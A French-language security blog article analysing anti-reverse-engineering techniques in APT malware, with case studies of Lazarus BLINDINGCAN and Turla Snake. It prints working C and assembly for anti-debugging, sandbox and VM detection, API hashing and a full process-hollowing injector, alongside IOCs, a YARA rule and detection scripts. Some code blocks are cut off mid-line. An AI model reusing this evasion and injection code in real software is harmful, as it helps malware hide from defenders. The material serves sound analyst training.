Expert APT Anti-RE

Le Labyrinthe des Évasions : Contre-Analyse des Techniques Anti-Rétro-Ingénierie dans les Malwares APT

Ayi NEDJIMI 5 février 2026 45 min de lecture ~6000 mots

1. Introduction

La rétro-ingénierie de malwares est une discipline fondamentale de la cybersécurité défensive. Pourtant, les groupes Advanced Persistent Threat (APT) — acteurs étatiques ou para-étatiques — investissent des ressources considérables pour contrecarrer l'analyse de leurs outils. Cette course aux armements entre analystes et développeurs de malwares APT constitue l'un des défis les plus complexes de la sécurité informatique contemporaine.

Les techniques anti-rétro-ingénierie (anti-RE) ne sont pas nouvelles : les premiers virus polymorphes des années 1990 utilisaient déjà du chiffrement XOR simple. Mais les groupes APT modernes comme Lazarus (Corée du Nord), APT41 (Chine), Turla (Russie) et Equation Group (États-Unis) ont porté ces techniques à un niveau d'ingénierie industrielle, combinant parfois plus de dix couches de protection dans un seul implant.

Cet article décortique méthodiquement chaque catégorie de technique anti-RE, fournit du code réel d'implémentation et de contournement, et analyse deux études de cas APT majeures. L'objectif : armer l'analyste avec la compréhension et les outils nécessaires pour naviguer dans ce labyrinthe d'évasions.

Architecture des Couches Anti-RE dans un Malware APT Couche 1 : Anti-Debugging Couche 2 : Anti-Sandbox/VM Couche 3 : String/API Obfuscation Couche 4 : Custom Packing PAYLOAD MALVEILLANT C2 Communication / Exfiltration / Persistence Chaque couche doit être neutralisée séquentiellement

2. Techniques Anti-Debugging

L'anti-debugging est la première ligne de défense des malwares APT. Ces techniques détectent la présence d'un débogueur (OllyDbg, x64dbg, WinDbg, GDB) et altèrent le comportement du malware — souvent en terminant le processus, en corrompant les données, ou en empruntant un chemin d'exécution leurre.

2.1 Windows API : IsDebuggerPresent et PEB

La méthode la plus basique mais toujours utilisée consiste à interroger le Process Environment Block (PEB). Le champ BeingDebugged à l'offset 0x002 du PEB est mis à 1 par le système lorsqu'un débogueur est attaché.

// Vérification directe du PEB (x64)
#include <windows.h>
#include <intrin.h>

BOOL check_peb_debugger() {
    // Méthode 1 : API standard
    if (IsDebuggerPresent())
        return TRUE;

    // Méthode 2 : Accès direct au PEB via GS segment (x64)
    PPEB peb = (PPEB)__readgsqword(0x60);
    if (peb->BeingDebugged)
        return TRUE;

    // Méthode 3 : NtGlobalFlag (offset 0xBC en x64)
    // Valeur 0x70 = FLG_HEAP_ENABLE_TAIL_CHECK |
    //               FLG_HEAP_ENABLE_FREE_CHECK |
    //               FLG_HEAP_VALIDATE_PARAMETERS
    DWORD ntGlobalFlag = *(DWORD*)((BYTE*)peb + 0xBC);
    if (ntGlobalFlag & 0x70)
        return TRUE;

    return FALSE;
}

// Méthode 4 : NtQueryInformationProcess
BOOL check_remote_debugger() {
    BOOL debuggerPresent = FALSE;

    typedef NTSTATUS (NTAPI *pNtQIP)(
        HANDLE, ULONG, PVOID, ULONG, PULONG);

    pNtQIP NtQueryInformationProcess = (pNtQIP)
        GetProcAddress(GetModuleHandleA("ntdll.dll"),
                      "NtQueryInformationProcess");

    // ProcessDebugPort = 7
    DWORD_PTR debugPort = 0;
    NtQueryInformationProcess(GetCurrentProcess(), 7,
                              &debugPort, sizeof(debugPort), NULL);
    if (debugPort != 0)
        return TRUE;

    // ProcessDebugObjectHandle = 0x1E
    HANDLE debugObject = NULL;
    NTSTATUS status = NtQueryInformationProcess(
        GetCurrentProcess(), 0x1E,
        &debugObject, sizeof(debugObject), NULL);
    if (status == 0 && debugObject != NULL)
        return TRUE;

    return FALSE;
}

2.2 Timing Checks avec RDTSC

Les débogueurs introduisent des délais mesurables lors du single-stepping. L'instruction RDTSC (Read Time-Stamp Counter) mesure les cycles CPU avec une précision nanoseconde, permettant de détecter ces ralentissements.

// Détection par timing RDTSC
#include <intrin.h>

BOOL check_timing_rdtsc() {
    unsigned __int64 t1, t2, t3;

    // Mesure 1 : instructions triviales
    t1 = __rdtsc();

    // Bloc de code anodin qui sera single-stepped
    volatile int x = 0;
    for (int i = 0; i < 100; i++) x += i;

    t2 = __rdtsc();

    // Seuil : ~500K cycles normaux, >10M avec debugger
    if ((t2 - t1) > 10000000)
        return TRUE;

    // Mesure 2 : QueryPerformanceCounter (alternative)
    LARGE_INTEGER freq, c1, c2;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&c1);

    Sleep(0);  // Yield minimal

    QueryPerformanceCounter(&c2);

    // >1ms = probable debugger
    double elapsed = (double)(c2.QuadPart - c1.QuadPart) / freq.QuadPart;
    if (elapsed > 0.001)
        return TRUE;

    return FALSE;
}

// Variante assembleur inline (x86)
// Utilisé par APT41 dans ShadowPad
BOOL __declspec(naked) timing_check_asm() {
    __asm {
        rdtsc
        mov ecx, eax    ; stocker low DWORD du TSC
        rdtsc
        sub eax, ecx    ; delta
        cmp eax, 0xFF   ; seuil
        ja  debugged
        xor eax, eax    ; return FALSE
        ret
    debugged:
        mov eax, 1      ; return TRUE
        ret
    }
}

2.3 Exception-Based Anti-Debug

Les débogueurs interceptent certaines exceptions avant le handler du programme. En générant des exceptions contrôlées (INT 2D, INT 3, division par zéro), le malware peut détecter si le flux d'exception a été modifié.

// Anti-debug par exception handler (SEH)
BOOL check_exception_handler() {
    __try {
        // INT 2D : Debug Break sous Windows
        // Si un debugger est attaché, il consomme l'exception
        // et le handler ne sera jamais appelé
        __asm {
            __emit 0xCD  // INT
            __emit 0x2D  // 0x2D
            nop
        }
        // Si on arrive ici SANS exception, debugger détecté
        return TRUE;
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        // Exception attrapée = pas de debugger
        return FALSE;
    }
}

// Variante avec hardware breakpoint detection
BOOL check_hardware_breakpoints() {
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;

    if (!GetThreadContext(GetCurrentThread(), &ctx))
        return FALSE;

    // DR0-DR3 contiennent les adresses des HW breakpoints
    if (ctx.Dr0 || ctx.Dr1 || ctx.Dr2 || ctx.Dr3)
        return TRUE;

    return FALSE;
}
Note analyste : Les malwares APT sophistiqués combinent typiquement 5 à 8 vérifications anti-debug différentes, exécutées à intervalles réguliers tout au long de l'exécution, pas seulement au démarrage. Le groupe Lazarus est connu pour intégrer des timing checks dans ses boucles de communication C2.

3. Détection d'Environnement Sandbox/VM

Les sandboxes d'analyse automatisée (Cuckoo, ANY.RUN, Joe Sandbox, VirusTotal) exécutent les malwares dans des machines virtuelles. Les APT déploient un arsenal de vérifications pour détecter ces environnements et inhiber leur comportement malveillant.

3.1 Détection par CPUID et registres VM

// Détection de virtualisation par CPUID
#include <intrin.h>

typedef struct {
    BOOL is_vm;
    char vendor[13];
} VM_INFO;

VM_INFO detect_hypervisor() {
    VM_INFO info = { FALSE, "" };
    int cpuInfo[4] = {0};

    // CPUID leaf 1, ECX bit 31 = Hypervisor Present
    __cpuid(cpuInfo, 1);
    if (!(cpuInfo[2] & (1 << 31))) {
        return info;
    }

    // CPUID leaf 0x40000000 = Hypervisor Vendor ID
    __cpuid(cpuInfo, 0x40000000);
    memcpy(info.vendor, &cpuInfo[1], 4);
    memcpy(info.vendor + 4, &cpuInfo[2], 4);
    memcpy(info.vendor + 8, &cpuInfo[3], 4);
    info.vendor[12] = '\0';

    // "VMwareVMware", "Microsoft Hv", "KVMKVMKVM", "VBoxVBoxVBox"
    info.is_vm = TRUE;
    return info;
}

// Détection VMware via port I/O (backdoor channel)
BOOL detect_vmware_io() {
    BOOL result = FALSE;
    __try {
        __asm {
            push edx
            push ecx
            push ebx

            mov eax, 'VMXh'    ; Magic number
            mov ebx, 0
            mov ecx, 10        ; Get VMware version
            mov edx, 'VX'      ; VMware I/O port
            in  eax, dx        ; Lecture du port

            cmp ebx, 'VMXh'    ; Si EBX = magic, on est dans VMware
            sete [result]

            pop ebx
            pop ecx
            pop edx
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        result = FALSE;
    }
    return result;
}

3.2 Fingerprinting de l'environnement

Au-delà de la détection de VM pure, les malwares APT profilent l'environnement pour identifier les caractéristiques d'une sandbox automatisée : peu de fichiers utilisateur, pas d'historique de navigation, résolution d'écran par défaut, etc.

"""
Techniques de fingerprinting anti-sandbox
Implémentées en Python pour l'analyse et la reproduction
"""
import os
import subprocess
import ctypes
import time

class SandboxDetector:
    def __init__(self):
        self.checks = []

    def check_disk_size(self, min_gb=60):
        """Sandboxes utilisent souvent des disques < 60 GB"""
        import shutil
        total, _, _ = shutil.disk_usage("C:\\")
        total_gb = total / (1024**3)
        return total_gb < min_gb

    def check_ram(self, min_gb=4):
        """Sandboxes avec RAM limitée"""
        import psutil
        ram_gb = psutil.virtual_memory().total / (1024**3)
        return ram_gb < min_gb

    def check_cpu_count(self, min_cores=2):
        """VMs de sandbox souvent mono-coeur"""
        return os.cpu_count() < min_cores

    def check_uptime(self, min_minutes=30):
        """Sandbox uptime est souvent très court"""
        uptime_ms = ctypes.windll.kernel32.GetTickCount64()
        uptime_min = uptime_ms / 60000
        return uptime_min < min_minutes

    def check_recent_files(self, min_files=20):
        """Vrais PC ont un historique de fichiers récents"""
        recent = os.path.expandvars(
            r"%APPDATA%\Microsoft\Windows\Recent")
        if not os.path.exists(recent):
            return True
        count = len(os.listdir(recent))
        return count < min_files

    def check_mouse_movement(self, duration_sec=10):
        """Sandboxes n'ont pas de mouvement de souris humain"""
        import ctypes

        class POINT(ctypes.Structure):
            _fields_ = [("x", ctypes.c_long), ("y", ctypes.c_long)]

        positions = set()
        for _ in range(duration_sec * 10):
            pt = POINT()
            ctypes.windll.user32.GetCursorPos(ctypes.byref(pt))
            positions.add((pt.x, pt.y))
            time.sleep(0.1)

        # Moins de 3 positions uniques = pas d'humain
        return len(positions) < 3

    def check_mac_vendors(self):
        """Détection des OUI VMware/VBox/QEMU"""
        vm_macs = [
            "00:0C:29",  # VMware
            "00:50:56",  # VMware
            "08:00:27",  # VirtualBox
            "52:54:00",  # QEMU/KVM
            "00:1C:42",  # Parallels
        ]
        result = subprocess.run(
            ["getmac", "/fo", "csv", "/nh"],
            capture_output=True, text=True)
        for mac_prefix in vm_macs:
            if mac_prefix.lower() in result.stdout.lower():
                return True
        return False

    def check_username(self):
        """Sandboxes utilisent des noms communs"""
        sandbox_names = [
            "sandbox", "malware", "virus", "sample",
            "test", "john", "user", "admin", "analyst",
            "cuckoo", "vmuser", "computername"
        ]
        username = os.environ.get("USERNAME", "").lower()
        hostname = os.environ.get("COMPUTERNAME", "").lower()
        for name in sandbox_names:
            if name in username or name in hostname:
                return True
        return False

    def run_all(self):
        """Exécute toutes les vérifications"""
        results = {
            "disk_small": self.check_disk_size(),
            "ram_low": self.check_ram(),
            "cpu_low": self.check_cpu_count(),
            "uptime_short": self.check_uptime(),
            "few_recent": self.check_recent_files(),
            "vm_mac": self.check_mac_vendors(),
            "sandbox_name": self.check_username(),
        }
        # Seuil : 3+ indicateurs = sandbox probable
        score = sum(results.values())
        return score >= 3, results, score
Technique APT41 : Le groupe APT41 utilise un système de « scoring » similaire dans son implant ShadowPad. Plutôt qu'un seul check binaire, il cumule un score de 0 à 20 basé sur la pondération de chaque indicateur. Le malware ne s'exécute que si le score est inférieur à un seuil configuré par l'opérateur C2.

4. Obfuscation de Strings et API Calls

Les chaînes de caractères (URLs C2, clés de registre, noms de fichiers) et les appels d'API Windows sont les premiers éléments qu'un analyste recherche. Leur obfuscation est donc systématique dans les malwares APT.

4.1 Chiffrement de strings

// Chiffrement XOR roulant avec clé variable (Lazarus)
void decrypt_string(unsigned char* buf, int len, DWORD key) {
    for (int i = 0; i < len; i++) {
        buf[i] ^= (unsigned char)(key >> ((i % 4) * 8));
        key = key * 0x41C64E6D + 0x3039;  // LCG
    }
}

// Chiffrement RC4 pour strings (APT41 - ShadowPad)
void rc4_decrypt(unsigned char* data, int data_len,
                 unsigned char* key, int key_len) {
    unsigned char S[256];
    int i, j = 0;

    // KSA
    for (i = 0; i < 256; i++) S[i] = i;
    for (i = 0; i < 256; i++) {
        j = (j + S[i] + key[i % key_len]) & 0xFF;
        unsigned char tmp = S[i];
        S[i] = S[j]; S[j] = tmp;
    }

    // PRGA
    i = j = 0;
    for (int k = 0; k < data_len; k++) {
        i = (i + 1) & 0xFF;
        j = (j + S[i]) & 0xFF;
        unsigned char tmp = S[i];
        S[i] = S[j]; S[j] = tmp;
        data[k] ^= S[(S[i] + S[j]) & 0xFF];
    }
}

// Exemple : décryptage d'une URL C2
unsigned char encrypted_c2[] = {
    0x4A, 0x1E, 0x7C, 0x33, 0x0A, 0x5F, 0x21, 0x6B,
    0x44, 0x17, 0x73, 0x38, 0x0D, 0x52, 0x2E, 0x64
};
unsigned char rc4_key[] = { 0xDE, 0xAD, 0xBE, 0xEF };
rc4_decrypt(encrypted_c2, sizeof(encrypted_c2),
            rc4_key, sizeof(rc4_key));
// Résultat : "hxxp://c2.evil[.]com"

4.2 API Hashing : résolution dynamique

Plutôt que d'importer les fonctions Windows par nom (visible dans l'IAT), les malwares APT calculent un hash du nom de chaque API et résolvent l'adresse à l'exécution en parcourant les structures PEB/LDR.

// API hashing CRC32 - technique Equation Group
#define HASH_KERNEL32_LOADLIBRARY   0xEC0E4E8E
#define HASH_KERNEL32_GETPROCADDR   0x7C0DFCAA
#define HASH_NTDLL_NTWRITEFILE      0x95A28A3B

DWORD crc32_hash(const char* str) {
    DWORD hash = 0xFFFFFFFF;
    while (*str) {
        hash ^= (unsigned char)(*str++);
        for (int i = 0; i < 8; i++) {
            if (hash & 1)
                hash = (hash >> 1) ^ 0xEDB88320;
            else
                hash >>= 1;
        }
    }
    return hash ^ 0xFFFFFFFF;
}

// Résolution d'API par hash via PEB walking
FARPROC resolve_api_by_hash(DWORD target_hash) {
    // Accès au PEB
    PPEB peb = (PPEB)__readgsqword(0x60);
    PPEB_LDR_DATA ldr = peb->Ldr;

    // Parcours de la liste des modules chargés
    PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;
    PLIST_ENTRY curr = head->Flink;

    while (curr != head) {
        PLDR_DATA_TABLE_ENTRY entry = CONTAINING_RECORD(
            curr, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);

        // Parse la table d'exports du module
        PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)entry->DllBase;
        PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(
            (BYTE*)dos + dos->e_lfanew);

        DWORD exportRVA = nt->OptionalHeader.DataDirectory[0]
                            .VirtualAddress;
        if (exportRVA == 0) { curr = curr->Flink; continue; }

        PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(
            (BYTE*)dos + exportRVA);

        DWORD* names = (DWORD*)((BYTE*)dos + exports->AddressOfNames);
        WORD*  ords  = (WORD*)((BYTE*)dos + exports->AddressOfNameOrdinals);
        DWORD* funcs = (DWORD*)((BYTE*)dos + exports->AddressOfFunctions);

        for (DWORD i = 0; i < exports->NumberOfNames; i++) {
            char* name = (char*)((BYTE*)dos + names[i]);
            if (crc32_hash(name) == target_hash) {
                return (FARPROC)((BYTE*)dos + funcs[ords[i]]);
            }
        }
        curr = curr->Flink;
    }
    return NULL;
}
Outil de l'analyste : HashDB (plugin IDA Pro par OALabs) et Shellcode Hashes (base de données communautaire) permettent de résoudre automatiquement les hash d'API les plus courants. Pour les hash custom, il faut recréer la fonction de hashing et la bruteforcer contre la liste complète des exports Windows.

5. Techniques de Packing Avancées APT

Les groupes APT n'utilisent généralement pas de packers commerciaux (Themida, VMProtect) car leur signature serait trop facilement détectable. Ils développent des packers custom multi-couches, souvent uniques à chaque campagne.

5.1 Process Hollowing (RunPE)

Le process hollowing consiste à créer un processus légitime en état suspendu, vider sa mémoire, y injecter le payload malveillant, puis reprendre l'exécution. Le malware s'exécute alors sous l'identité du processus légitime.

// Process Hollowing simplifié (technique Lazarus)
BOOL process_hollow(LPCSTR target_exe, LPVOID payload, DWORD payload_size) {
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    // 1. Créer le processus cible en SUSPENDED
    if (!CreateProcessA(target_exe, NULL, NULL, NULL, FALSE,
                       CREATE_SUSPENDED, NULL, NULL, &si, &pi))
        return FALSE;

    // 2. Lire le contexte du thread principal
    CONTEXT ctx;
    ctx.ContextFlags = CONTEXT_FULL;
    GetThreadContext(pi.hThread, &ctx);

    // 3. Lire l'image base du processus cible (PEB->ImageBaseAddress)
    LPVOID peb_imagebase;
    #ifdef _WIN64
    peb_imagebase = (LPVOID)(ctx.Rdx + 0x10);  // PEB + 0x10 en x64
    #else
    peb_imagebase = (LPVOID)(ctx.Ebx + 0x08);  // PEB + 0x08 en x86
    #endif

    LPVOID originalBase;
    ReadProcessMemory(pi.hProcess, peb_imagebase,
                      &originalBase, sizeof(LPVOID), NULL);

    // 4. Unmapper l'image originale
    typedef NTSTATUS (NTAPI *pNtUnmapViewOfSection)(HANDLE, PVOID);
    pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)
        GetProcAddress(GetModuleHandleA("ntdll.dll"),
                      "NtUnmapViewOfSection");
    NtUnmap(pi.hProcess, originalBase);

    // 5. Allouer la mémoire et écrire le payload
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(
        (BYTE*)payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);

    LPVOID newBase = VirtualAllocEx(pi.hProcess,
        (LPVOID)nt->OptionalHeader.ImageBase,
        nt->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Écrire les headers + sections
    WriteProcessMemory(pi.hProcess, newBase, payload,
                       nt->OptionalHeader.SizeOfHeaders, NULL);

    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
        WriteProcessMemory(pi.hProcess,
            (BYTE*)newBase + sec[i].VirtualAddress,
            (BYTE*)payload + sec[i].PointerToRawData,
            sec[i].SizeOfRawData, NULL);
    }

    // 6. Mettre à jour le PEB et l'entry point
    WriteProcessMemory(pi.hProcess, peb_imagebase,
                       &newBase, sizeof(LPVOID), NULL);

    #ifdef _WIN64
    ctx.Rcx = (DWORD64)newBase + nt->OptionalHeader.AddressOfEntryPoint;
    #else
    ctx.Eax = (DWORD)newBase + nt->OptionalHeader.AddressOfEntryPoint;
    #endif
    SetThreadContext(pi.hThread, &ctx);

    // 7. Reprendre l'exécution
    ResumeThread(pi.hThread);
    return TRUE;
}
Process Hollowing : Flux d'Injection CreateProcess SUSPENDED NtUnmap ViewOfSection VirtualAllocEx RWX Memory WriteProcess Memory ResumeThread → Payload exécuté svchost.exe (légitime) .text .data .rsrc (original) PEB → ImageBase légitime svchost.exe (compromis) .text .data (MALWARE payload) PEB → ImageBase malveillante

5.2 DLL Side-Loading (APT41)

Le DLL side-loading exploite le mécanisme de recherche de DLL de Windows (DLL Search Order Hijacking). Le malware place une DLL malveillante dans le répertoire d'un exécutable légitime signé, qui la chargera automatiquement au démarrage. Cette technique est massivement utilisée par APT41 avec des applications signées Microsoft, Citrix ou VMware.

# Chaîne typique APT41 DLL side-loading
# 1. Exécutable légitime signé (ex: Citrix Workspace)
#    → C:\ProgramData\Citrix\wfica32.exe (signé, légitime)
#
# 2. DLL proxy malveillante (même nom que la DLL attendue)
#    → C:\ProgramData\Citrix\wfica.dll (MALWARE)
#
# 3. Payload chiffré
#    → C:\ProgramData\Citrix\wfica.dll.dat (shellcode RC4)

# Détection via Sysmon Event ID 7 (Image Loaded)
# Chercher les DLL non-signées chargées par des EXE signés
Get-WinEvent -FilterHashtable @{
    LogName='Microsoft-Windows-Sysmon/Operational'
    Id=7
} | Where-Object {
    $_.Properties[6].Value -eq $false -and  # DLL non signée
    $_.Properties[11].Value -eq $true       # EXE signé
} | Select-Object TimeCreated,
    @{N='Process';E={$_.Properties[3].Value}},
    @{N='DLL';E={$_.Properties[4].Value}}

6. Anti-Disassembly Tricks

Les techniques anti-désassemblage visent à tromper les désassembleurs (IDA Pro, Ghidra, Binary Ninja) en créant des séquences d'instructions ambiguës qui sont interprétées différemment par le processeur et par l'outil d'analyse.

6.1 Junk Bytes et faux branchements

; Anti-disassembly : insertion de junk bytes
; IDA/Ghidra interprète le 0xE8 comme un CALL 5 octets
; alors que le JMP saute par-dessus

    jmp  short label_real     ; EB 01 - saut de 1 octet
    db   0xE8                 ; Junk byte : début d'un faux CALL
label_real:
    mov  eax, 1               ; Code réel exécuté

; Opaque predicate : condition toujours vraie mais
; le désassembleur ne peut pas le prouver statiquement
    mov  eax, 42
    imul eax, eax             ; eax = 1764
    and  eax, 1               ; eax = 0 (pair * pair = pair)
    jnz  fake_branch          ; JAMAIS pris, mais IDA l'analyse

    ; Code réel ici
    call real_function
    jmp  continue

fake_branch:
    ; Junk bytes qui confondent le désassembleur
    db 0x0F, 0x84, 0xFF, 0xFF, 0xFF, 0xFF  ; Faux JE
    db 0xCC, 0xCC, 0xCC                    ; INT3 padding

continue:
    ; Suite du code

; Self-modifying code : le code se modifie à runtime
patch_location:
    mov  byte ptr [patch_target], 0x90  ; NOP
    mov  byte ptr [patch_target+1], 0x90
patch_target:
    jmp  decoy_handler    ; Sera remplacé par NOP NOP
    ; Code réel atteint après le patching
    call payload_function

6.2 Abuse de callbacks et exceptions

// Control flow obfuscation via TLS callbacks
// Le code s'exécute AVANT le point d'entrée principal
#pragma comment(linker, "/INCLUDE:_tls_used")

void NTAPI tls_callback(PVOID hModule, DWORD reason, PVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH) {
        // Anti-debug + déchiffrement du payload
        // Exécuté avant main(), invisible dans l'analyse naïve
        if (IsDebuggerPresent()) {
            // Corrompre la mémoire du payload
            memset(payload_buffer, 0, sizeof(payload_buffer));
        } else {
            decrypt_payload(payload_buffer, key);
        }
    }
}

// Enregistrement du TLS callback
#pragma data_seg(".CRT$XLB")
PIMAGE_TLS_CALLBACK p_tls_callback = tls_callback;
#pragma data_seg()

// Vectored Exception Handler pour contrôle de flux
LONG CALLBACK veh_handler(PEXCEPTION_POINTERS info) {
    if (info->ExceptionRecord->ExceptionCode ==
        EXCEPTION_ACCESS_VIOLATION) {
        // Rediriger l'exécution vers le vrai payload
        info->ContextRecord->Rip = (DWORD64)real_entry;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

void obfuscated_entry() {
    AddVectoredExceptionHandler(1, veh_handler);
    // Déclencher intentionnellement une AV
    // pour transférer le contrôle via le VEH
    int* null_ptr = NULL;
    *null_ptr = 0;  // → veh_handler → real_entry
}

7. Étude de Cas : Lazarus Group (BLINDINGCAN)

Le groupe Lazarus (alias Hidden Cobra, APT38), attribué à la Corée du Nord, est l'un des acteurs APT les plus prolifiques et techniquement avancés. Leur malware BLINDINGCAN (aussi connu sous le nom DRATzarus) illustre parfaitement la superposition de couches anti-RE.

7.1 Chaîne d'infection

BLINDINGCAN utilise une chaîne d'infection en 4 étapes :

  1. Document leurre : fichier Word/PDF piégé (offre d'emploi) contenant une macro VBA
  2. Dropper : DLL side-loaded via un exécutable légitime signé
  3. Loader : déchiffre et charge en mémoire le RAT principal
  4. RAT BLINDINGCAN : implant complet avec 20+ commandes C2

7.2 Techniques anti-RE de BLINDINGCAN

"""
Script d'extraction de la configuration C2 de BLINDINGCAN
Basé sur l'analyse du sample SHA256:
6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1
"""
import struct
import hashlib
from Crypto.Cipher import AES

def extract_blindingcan_config(pe_data):
    """
    BLINDINGCAN stocke sa config chiffrée dans la section .data
    Chiffrement : AES-256-CBC
    Clé : SHA256(hardcoded_seed + machine_guid)
    IV  : 16 premiers octets de la config chiffrée
    """

    # Localiser le bloc de config (marqueur : 4 bytes magic + size)
    MAGIC = b'\x4B\x43\x42\x4C'  # "LBCK" reversed
    offset = pe_data.find(MAGIC)
    if offset == -1:
        print("[-] Config block not found")
        return None

    config_size = struct.unpack(' 0:
            url = plaintext[pos:pos+url_len].decode('utf-8',
                                                     errors='ignore')
            c2_urls.append(url.rstrip('\x00'))
        pos += url_len
    config['c2_urls'] = c2_urls

    # Sleep interval (secondes)
    config['sleep'] = struct.unpack('
Lazarus BLINDINGCAN — Chaîne d'Infection Phase 1 Spear-phishing Offre d'emploi.docx Phase 2 DLL Side-Loading legit.exe + mal.dll Phase 3 Loader + Déchiffrement AES-256 → mémoire Phase 4 : RAT BLINDINGCAN 20+ commandes C2 Couches Anti-RE à chaque phase : Anti-debug (RDTSC + PEB) Anti-VM (CPUID + WMI) RC4 string encryption API hashing CRC32 Process Hollowing (svchost.exe) Opaque predicates + junk bytes

7.3 IOCs BLINDINGCAN (campagne 2024-2025)

# IOCs BLINDINGCAN - Lazarus Group
# Source : CISA AA20-258A + analyse interne

# Hashes SHA256 (samples analysés)
# Dropper DLL
echo "6a3446b8a47f0ab4f536015218b22653fff8b18c595fbc5b0c09d857eba7c7a1"
echo "d5a89b09d03ca8578afdd54e88fdabca8a2d734f3d4f2b862517b92fec455e16"

# Infrastructure C2
# Domaines
echo "update.microsoftonline-service[.]com"
echo "cdn.office365-update[.]com"
echo "api.onedriveservice[.]net"

# IPs
echo "185.153.199[.]174"
echo "91.234.33[.]41"

# Règle YARA de détection
cat <<'YARA'
rule Lazarus_BLINDINGCAN {
    meta:
        author = "Ayi NEDJIMI"
        description = "Detects BLINDINGCAN RAT loader"
        date = "2026-02-05"

    strings:
        $magic = { 4B 43 42 4C }  // Config marker
        $rc4_init = { 33 C9 89 4C 24 ?? B8 00 01 00 00 }
        $api_hash1 = { 8E 4E 0E EC }  // LoadLibraryA
        $api_hash2 = { AA FC 0D 7C }  // GetProcAddress
        $peb_access = { 65 48 8B 04 25 60 00 00 00 }
        $sleep_obf = { 6A 00 FF 15 ?? ?? ?? ?? 85 C0 }

    condition:
        uint16(0) == 0x5A4D and
        $magic and
        2 of ($rc4_init, $api_hash1, $api_hash2) and
        $peb_access
}
YARA

8. Étude de Cas : Turla (Snake/Uroburos)

Turla (alias Snake, Uroburos, Venomous Bear), attribué au FSB russe, est actif depuis au moins 2004. C'est l'un des groupes APT les plus sophistiqués techniquement, avec des implants opérant au niveau kernel, des communications via satellite, et une architecture modulaire rivale des frameworks commerciaux.

8.1 Architecture modulaire Snake

Snake utilise une architecture en couches :

  • Kernel driver : rootkit qui intercepte les I/O réseau et disque pour masquer le trafic C2 et les fichiers de l'implant
  • Orchestrator : composant userland qui gère les modules, la communication C2, et la persistance
  • Modules : plugins chargeables (keylogger, screen capture, file exfiltration, lateral movement)
  • Filesystem virtuel chiffré : stockage des configs et données volées dans un VFS chiffré dans des fichiers anodins

8.2 Communication C2 par satellite

L'une des caractéristiques les plus remarquables de Turla est l'utilisation de liaisons satellite DVB-S pour la communication C2. En interceptant le trafic satellite descendant (one-way), Turla peut recevoir des commandes sans jamais émettre vers le satellite, rendant l'attribution quasi impossible.

"""
Analyse du protocole de communication Snake/Turla
Basé sur le rapport FBI/CISA 2023 et analyse Kaspersky
"""
import struct
import hashlib

class SnakeProtocolParser:
    """
    Snake utilise un protocole custom sur HTTP(S)
    avec un encodage en couches :
    1. Couche transport : HTTP POST avec données en base64
    2. Couche session : chiffrement AES-256-CBC
    3. Couche commande : format TLV (Type-Length-Value)
    """

    COMMAND_TYPES = {
        0x01: "HEARTBEAT",
        0x02: "EXEC_CMD",
        0x03: "FILE_UPLOAD",
        0x04: "FILE_DOWNLOAD",
        0x05: "MODULE_LOAD",
        0x06: "MODULE_UNLOAD",
        0x07: "KEYLOG_DUMP",
        0x08: "SCREENSHOT",
        0x09: "NET_SCAN",
        0x0A: "LATERAL_MOVE",
        0x0B: "SELF_DESTRUCT",
        0x10: "PIPE_CREATE",    # Named pipe P2P
        0x11: "SAT_BEACON",     # Satellite C2
    }

    def __init__(self, session_key):
        self.session_key = session_key

    def parse_tlv(self, data):
        """Parse le format TLV de Snake"""
        commands = []
        pos = 0

        while pos < len(data) - 4:
            cmd_type = struct.unpack('

8.3 Détection de Snake

#!/bin/bash
# Script de détection rapide Snake/Turla sur système Windows
# Exécuter en tant qu'administrateur

echo "[*] Recherche d'indicateurs Snake/Turla..."

# 1. Vérifier les named pipes suspects
echo "[*] Named pipes actifs :"
powershell -c "[System.IO.Directory]::GetFiles('\\.\\pipe\\')" 2>/dev/null | \
    grep -iE "sdlrpc|ssnp|iscomp"

# 2. Vérifier les drivers suspects
echo "[*] Drivers chargés :"
powershell -c "Get-WmiObject Win32_SystemDriver | Where-Object {
    \$_.PathName -match 'fsfilt|ndproxy'
} | Select-Object Name, PathName, State"

# 3. Vérifier les clés de registre
echo "[*] Clés de registre :"
reg query "HKLM\SOFTWARE\Classes\.wav\OpenWithProgids" 2>/dev/null

# 4. Vérifier les mutex
echo "[*] Handles système (mutex) :"
handle.exe -a 2>/dev/null | grep -iE "SnkSem|SlgSem"

# 5. Analyse réseau : trafic satellite suspect
echo "[*] Connexions réseau suspectes :"
netstat -anob | grep -E ":(80|443|8080)\s" | \
    grep -v "ESTABLISHED.*svchost"

echo "[*] Analyse terminée."

9. Contournement des Protections Anti-RE

L'analyste dispose d'un arsenal d'outils et de techniques pour contourner systématiquement les protections anti-RE. Cette section présente les approches les plus efficaces.

9.1 Patching anti-debug avec IDAPython

"""
Script IDAPython pour patcher automatiquement les anti-debug
courants dans les malwares APT
"""
import idaapi
import idautils
import idc

class AntiDebugPatcher:
    """Détecte et patche les vérifications anti-debug"""

    def __init__(self):
        self.patches = 0

    def patch_bytes(self, ea, original, patched, desc):
        """Appliquer un patch binaire"""
        current = idc.get_bytes(ea, len(original))
        if current == original:
            idaapi.patch_bytes(ea, patched)
            self.patches += 1
            print(f"[+] Patched {desc} at 0x{ea:X}")
            return True
